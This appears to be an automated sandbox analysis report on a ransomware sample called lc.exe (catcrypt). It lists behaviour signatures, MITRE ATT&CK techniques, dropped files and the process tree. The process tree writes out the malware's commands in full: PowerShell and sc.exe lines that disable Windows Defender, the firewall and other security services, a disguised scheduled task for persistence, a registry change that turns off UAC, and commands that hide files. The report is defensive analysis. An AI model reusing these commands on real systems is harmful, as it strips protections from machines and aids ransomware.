Overview

overview

10

Static

static

10

lc.exe

windows10-ltsc_2021-x64

lc.exe

windows11-21h2-x64

10

lc.exe

windows11-ltsc_2024-x64

10

Analysis

  • user interaction
    yes
  • max time kernel
    92s
  • max time network
    108s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    07/11/2026, 19:56

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    lc.exe
  • Size 16.2MB
  • Sample261107-ynswjsfw2m
  • SHA256 295cb46b9b437dd8ecc5820204d277ce68bcd453966134f988eeb648960839fc
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
adwaredefense_evasiondiscoveryevasionexecutionpersistenceransomwarespywaretrojan

Malware Config

Signatures

  • Contains code to disable Windows Defender 2 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies WinLogon for persistence 2 TTPs 2 IoCs
    persistence
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs
    defense_evasiontrojan
  • UAC bypass 3 TTPs 4 IoCs
    defense_evasiontrojan
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Run Powershell and hide display window.

    execution
  • Disables RegEdit via registry modification 2 IoCs
    defense_evasion
  • Disables Task Manager via registry modification
    defense_evasion
  • Disables cmd.exe use via registry modification 2 IoCs
    defense_evasion
  • Drops file in Drivers directory 7 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 34 IoCs
    persistence
  • Executes dropped EXE 4 IoCs
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Checks whether UAC is enabled 1 TTPs 2 IoCs
    defense_evasiontrojan
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Indicator Removal: Clear Persistence 1 TTPs 1 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

    defense_evasion
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
    execution
  • Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
    defense_evasion
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 15 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • Kills process with taskkill 1 IoCs
    defense_evasion
  • Modifies Control Panel 2 IoCs
    defense_evasion
  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
    adwarespyware
  • Modifies registry class 25 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 34 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 43 IoCs
  • System policy modification 1 TTPs 22 IoCs
    defense_evasion
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\lc.exe
    "C:\Users\Admin\AppData\Local\Temp\lc.exe"
    1⤵
    • Drops file in Drivers directory
    • Suspicious use of WriteProcessMemory
    PID:3584
    • C:\Windows\system32\drivers\etc\svchost32.exe
      "C:\Windows\system32\drivers\etc\svchost32.exe"
      2⤵
      • Modifies WinLogon for persistence
      • Modifies Windows Defender DisableAntiSpyware settings
      • Modifies Windows Defender Real-time Protection settings
      • UAC bypass
      • Disables RegEdit via registry modification
      • Disables cmd.exe use via registry modification
      • Drops file in Drivers directory
      • Event Triggered Execution: Image File Execution Options Injection
      • Executes dropped EXE
      • Checks whether UAC is enabled
      • Sets desktop wallpaper using registry
      • Reads the TCP/IP host and domain name from the registry
      • Modifies Control Panel
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      • System policy modification
      PID:3144
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c schtasks /delete /tn "\Microsoft\Windows\WindowsUpdate\svchost" /f
        3⤵
        • Indicator Removal: Clear Persistence
        • Suspicious use of WriteProcessMemory
        PID:3904
        • C:\Windows\system32\schtasks.exe
          schtasks /delete /tn "\Microsoft\Windows\WindowsUpdate\svchost" /f
          4⤵
            PID:5304
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "\Microsoft\Windows\WindowsUpdate\svchost" /tr "C:\Windows\system32\drivers\etc\svchost32.exe" /sc onlogon /rl HIGHEST /f
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:5964
          • C:\Windows\system32\schtasks.exe
            schtasks /create /tn "\Microsoft\Windows\WindowsUpdate\svchost" /tr "C:\Windows\system32\drivers\etc\svchost32.exe" /sc onlogon /rl HIGHEST /f
            4⤵
            • Scheduled Task/Job: Scheduled Task
            PID:2500
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3976
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4296
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "Set-MpPreference -DisableBlockAtFirstSeen $true"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2200
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "Set-MpPreference -DisableIOAVProtection $true"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:3308
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "Set-MpPreference -DisablePrivacyMode $true"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:5344
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "Set-MpPreference -SignatureDisableUpdate $true"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:1660
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc stop WinDefend
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:2992
          • C:\Windows\system32\sc.exe
            sc stop WinDefend
            4⤵
            • Launches sc.exe
            PID:904
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:3208
          • C:\Windows\system32\sc.exe
            sc config WinDefend start=disabled
            4⤵
            • Launches sc.exe
            PID:400
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc stop SecurityHealthService
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:5316
          • C:\Windows\system32\sc.exe
            sc stop SecurityHealthService
            4⤵
            • Launches sc.exe
            PID:5072
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc config SecurityHealthService start=disabled
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:2956
          • C:\Windows\system32\sc.exe
            sc config SecurityHealthService start=disabled
            4⤵
            • Launches sc.exe
            PID:4540
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc stop WdFilter
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:2440
          • C:\Windows\system32\sc.exe
            sc stop WdFilter
            4⤵
            • Launches sc.exe
            PID:1808
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc config WdFilter start=disabled
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:3912
          • C:\Windows\system32\sc.exe
            sc config WdFilter start=disabled
            4⤵
            • Launches sc.exe
            PID:460
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc stop WdNisDrv
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:5924
          • C:\Windows\system32\sc.exe
            sc stop WdNisDrv
            4⤵
            • Launches sc.exe
            PID:5916
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc config WdNisDrv start=disabled
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:5876
          • C:\Windows\system32\sc.exe
            sc config WdNisDrv start=disabled
            4⤵
            • Launches sc.exe
            PID:4776
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc stop WdNisSvc
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:2436
          • C:\Windows\system32\sc.exe
            sc stop WdNisSvc
            4⤵
            • Launches sc.exe
            PID:1100
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc config WdNisSvc start=disabled
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:3380
          • C:\Windows\system32\sc.exe
            sc config WdNisSvc start=disabled
            4⤵
            • Launches sc.exe
            PID:3532
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc stop WdBoot
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:3724
          • C:\Windows\system32\sc.exe
            sc stop WdBoot
            4⤵
            • Launches sc.exe
            PID:2976
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc config WdBoot start=disabled
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:3732
          • C:\Windows\system32\sc.exe
            sc config WdBoot start=disabled
            4⤵
            • Launches sc.exe
            PID:2680
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc stop MpsSvc
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:6048
          • C:\Windows\system32\sc.exe
            sc stop MpsSvc
            4⤵
            • Launches sc.exe
            PID:5988
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc config MpsSvc start=disabled
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:1932
          • C:\Windows\system32\sc.exe
            sc config MpsSvc start=disabled
            4⤵
            • Launches sc.exe
            PID:6028
        • C:\Windows\SYSTEM32\taskkill.exe
          taskkill.exe /im Explorer.exe /f
          3⤵
          • Kills process with taskkill
          PID:2352
        • C:\Windows\SYSTEM32\wscript.exe
          wscript.exe "C:\Users\Admin\AppData\Local\Temp\catcrypt_show.vbs" "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
          3⤵
          • Executes a VBScript file via the Windows Script Host.
          PID:3052
          • C:\Windows\system32\mspaint.exe
            "C:\Windows\system32\mspaint.exe" "C:\Users\Admin\AppData\Local\Temp\catcrypt_block.png"
            4⤵
              PID:1180
          • C:\Windows\SYSTEM32\wscript.exe
            wscript.exe "C:\Users\Admin\AppData\Local\Temp\catcrypt_show.vbs" cmd.exe /c attrib +h +s +r "%userprofile%\Desktop\!!!READ_ME!!!.txt" & attrib +h +s +r "%userprofile%\Documents\!!!READ_ME!!!.txt"
            3⤵
            • Executes a VBScript file via the Windows Script Host.
            • Hide Artifacts: Hidden Files and Directories
            PID:1220
      • C:\Windows\system32\drivers\etc\svchost32.exe
        C:\Windows\system32\drivers\etc\svchost32.exe
        1⤵
        • Executes dropped EXE
        PID:472
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k GPSvcGroup
        1⤵
          PID:2964
        • C:\Windows\explorer.exe
          explorer.exe ,"C:\Windows\system32\drivers\etc\svchost32.exe"
          1⤵
            PID:3352
          • C:\Windows\explorer.exe
            C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
            1⤵
            • Modifies Internet Explorer settings
            • Modifies registry class
            • Suspicious behavior: AddClipboardFormatListener
            • Suspicious behavior: GetForegroundWindowSpam
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of SetWindowsHookEx
            PID:3420
          • C:\Windows\system32\svchost.exe
            C:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc
            1⤵
              PID:1984
            • C:\Windows\system32\userinit.exe
              C:\Windows\system32\userinit.exe
              1⤵
              • Suspicious use of WriteProcessMemory
              PID:4888
              • C:\Windows\Explorer.EXE
                C:\Windows\Explorer.EXE
                2⤵
                • Boot or Logon Autostart Execution: Active Setup
                • Enumerates connected drives
                • Modifies registry class
                • Suspicious use of FindShellTrayWindow
                PID:3464
              • C:\Windows\system32\drivers\etc\svchost32.exe
                "C:\Windows\system32\drivers\etc\svchost32.exe"
                2⤵
                • Executes dropped EXE
                PID:5400
            • C:\Windows\system32\drivers\etc\svchost32.exe
              "C:\Windows\system32\drivers\etc\svchost32.exe"
              1⤵
              • Executes dropped EXE
              PID:1300
            • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
              "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
              1⤵
                PID:2552
              • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
                "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
                1⤵
                  PID:3852
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DeviceAssociationService
                  1⤵
                    PID:3152
                  • C:\Windows\system32\AUDIODG.EXE
                    C:\Windows\system32\AUDIODG.EXE 0x0000000000000504 0x000000000000050C
                    1⤵
                      PID:2196

                    Network

                          MITRE ATT&CK Enterprise v16

                          Reconnaissance

                          Resource Development

                          Initial Access

                          Execution

                          Command and Scripting Interpreter

                          3
                          T1059

                          PowerShell

                          1
                          T1059.001

                          Visual Basic

                          1
                          T1059.005

                          Windows Command Shell

                          1
                          T1059.003

                          Scheduled Task/Job

                          1
                          T1053

                          Scheduled Task

                          1
                          T1053.005

                          System Services

                          1
                          T1569

                          Service Execution

                          1
                          T1569.002

                          Persistence

                          Boot or Logon Autostart Execution

                          2
                          T1547

                          Active Setup

                          1
                          T1547.014

                          Winlogon Helper DLL

                          1
                          T1547.004

                          Create or Modify System Process

                          3
                          T1543

                          Windows Service

                          3
                          T1543.003

                          Event Triggered Execution

                          1
                          T1546

                          Image File Execution Options Injection

                          1
                          T1546.012

                          Scheduled Task/Job

                          1
                          T1053

                          Scheduled Task

                          1
                          T1053.005

                          Privilege Escalation

                          Abuse Elevation Control Mechanism

                          1
                          T1548

                          Bypass User Account Control

                          1
                          T1548.002

                          Boot or Logon Autostart Execution

                          2
                          T1547

                          Active Setup

                          1
                          T1547.014

                          Winlogon Helper DLL

                          1
                          T1547.004

                          Create or Modify System Process

                          3
                          T1543

                          Windows Service

                          3
                          T1543.003

                          Event Triggered Execution

                          1
                          T1546

                          Image File Execution Options Injection

                          1
                          T1546.012

                          Scheduled Task/Job

                          1
                          T1053

                          Scheduled Task

                          1
                          T1053.005

                          Defense Evasion

                          Abuse Elevation Control Mechanism

                          1
                          T1548

                          Bypass User Account Control

                          1
                          T1548.002

                          Hide Artifacts

                          1
                          T1564

                          Hidden Files and Directories

                          1
                          T1564.001

                          Impair Defenses

                          4
                          T1562

                          Disable or Modify Tools

                          3
                          T1562.001

                          Indicator Removal

                          1
                          T1070

                          Clear Persistence

                          1
                          T1070.009

                          Modify Registry

                          8
                          T1112

                          Credential Access

                          Discovery

                          Peripheral Device Discovery

                          1
                          T1120

                          Query Registry

                          2
                          T1012

                          System Information Discovery

                          3
                          T1082

                          System Network Configuration Discovery

                          1
                          T1016

                          Lateral Movement

                          Collection

                          Command and Control

                          Exfiltration

                          Impact

                          Defacement

                          1
                          T1491

                          Service Stop

                          1
                          T1489

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          StartupProfileData-NonInteractive
                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                          • Size 1KB
                          • SHA256 070e2dc002fee5d6c6ae0611713bb24a9f01d741d964e7f1ece4f61789724a94
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          StartupProfileData-NonInteractive
                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                          • Size 1KB
                          • SHA256 453a4521bc19de7f6ad2680bbe68e59b0be31a7e45b80b80d95b437b7740a9f6
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          __PSScriptPolicyTest_fjba0le4.r54.psm1
                          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fjba0le4.r54.psm1
                          • Size 60B
                          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          catcrypt_last_show.txt
                          • Path C:\Users\Admin\AppData\Local\Temp\catcrypt_last_show.txt
                          • Size 22B
                          • SHA256 71026dc9c38d1110e57c647aa9f25350b9a429ad961705cad4e000686f7d953a
                          • MD5 SHA1 SHA512
                          Submit Download

                          catcrypt_show.vbs
                          • Path C:\Users\Admin\AppData\Local\Temp\catcrypt_show.vbs
                          • Size 940B
                          • SHA256 d90ae5c72d612cf50824af73481a2f02330a44ae1e949ad7630040ad2317d0bd
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          wallpaper_catcrypt.jpg
                          • Path C:\Users\Admin\AppData\Local\Temp\wallpaper_catcrypt.jpg
                          • Size 52KB
                          • SHA256 d50f96790201d3293f1627f56e04069b2834e5d543b3bf9f90a49df530574a46
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          TranscodedWallpaper
                          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\TranscodedWallpaper
                          • Size 57KB
                          • SHA256 7cf0d48530196e1abbc484db61749ae2fd4f86d2effe03f108715344d205a725
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          CopyAdd.docx.pdr
                          • Path C:\Users\Admin\Downloads\CopyAdd.docx.pdr
                          • Size 331KB
                          • SHA256 58360e8e33b11bd529173dd76caf584be665603578c9f1133cf6ad2d794d3435
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          SkipApprove.ppt.pdr
                          • Path C:\Users\Admin\Downloads\SkipApprove.ppt.pdr
                          • Size 376KB
                          • SHA256 ae0c35531efd8af555b684e15fcb1509725a0659ccb1e6bef6dc7fde3391c9dc
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          UnprotectBackup.mp3.pdr
                          • Path C:\Users\Admin\Downloads\UnprotectBackup.mp3.pdr
                          • Size 420KB
                          • SHA256 1eca1abbcf90dfa14757c1f2a3b3005d0eea9d423f296f7469a3e9982f5e1eca
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          svchost32.exe
                          • Path C:\Windows\System32\drivers\etc\svchost32.exe
                          • Size 16.2MB
                          • SHA256 295cb46b9b437dd8ecc5820204d277ce68bcd453966134f988eeb648960839fc
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          $boot_marker.tmp
                          • Path C:\Windows\system32\drivers\etc\$boot_marker.tmp
                          • Size 9B
                          • SHA256 23fc919d6fca758f668413f5e2b079df57de43d01fc813f73126cae1d732f71f
                          • MD5 SHA1 SHA512
                          Submit Download

                          $unlocker_id.ux-cryptobytes
                          • Path C:\Windows\system32\drivers\etc\$unlocker_id.ux-cryptobytes
                          • Size 6B
                          • SHA256 08517de3c8e19509395a79b7f8aea7a560411c6dadf56344bb729234ca9bd677
                          • MD5 SHA1 SHA512
                          Submit Download

                          memory/3144-63-0x00007FFB877C0000-0x00007FFB88164000-memory.dmp
                          Download

                          memory/3144-14-0x00007FFB877C0000-0x00007FFB88164000-memory.dmp
                          Download

                          memory/3144-19-0x00007FFB877C0000-0x00007FFB88164000-memory.dmp
                          Download

                          memory/3144-20-0x00007FFB877C0000-0x00007FFB88164000-memory.dmp
                          Download

                          memory/3144-18-0x00007FFB877C0000-0x00007FFB88164000-memory.dmp
                          Download

                          memory/3144-16-0x00007FFB877C0000-0x00007FFB88164000-memory.dmp
                          Download

                          memory/3584-11-0x00007FFB877C0000-0x00007FFB88164000-memory.dmp
                          Download

                          memory/3584-4-0x00007FFB877C0000-0x00007FFB88164000-memory.dmp
                          Download

                          memory/3584-1-0x00007FFB877C0000-0x00007FFB88164000-memory.dmp
                          Download

                          memory/3584-3-0x00007FFB877C0000-0x00007FFB88164000-memory.dmp
                          Download

                          memory/3584-15-0x00007FFB877C0000-0x00007FFB88164000-memory.dmp
                          Download

                          memory/3584-0-0x00007FFB8794F000-0x00007FFB87950000-memory.dmp
                          Download

                          memory/3584-12-0x00007FFB877C0000-0x00007FFB88164000-memory.dmp
                          Download

                          memory/3584-2-0x0000000000870000-0x00000000018A0000-memory.dmp
                          Download

                          memory/3584-6-0x00007FFB877C0000-0x00007FFB88164000-memory.dmp
                          Download

                          memory/3584-5-0x00007FFB877C0000-0x00007FFB88164000-memory.dmp
                          Download

                          memory/3976-28-0x00000268B5210000-0x00000268B522E000-memory.dmp
                          Download

                          memory/3976-25-0x00000268B5180000-0x00000268B51A2000-memory.dmp
                          Download

                          memory/3976-29-0x00000268B5230000-0x00000268B52E2000-memory.dmp
                          Download

                          memory/3976-30-0x00000268B52F0000-0x00000268B52FA000-memory.dmp
                          Download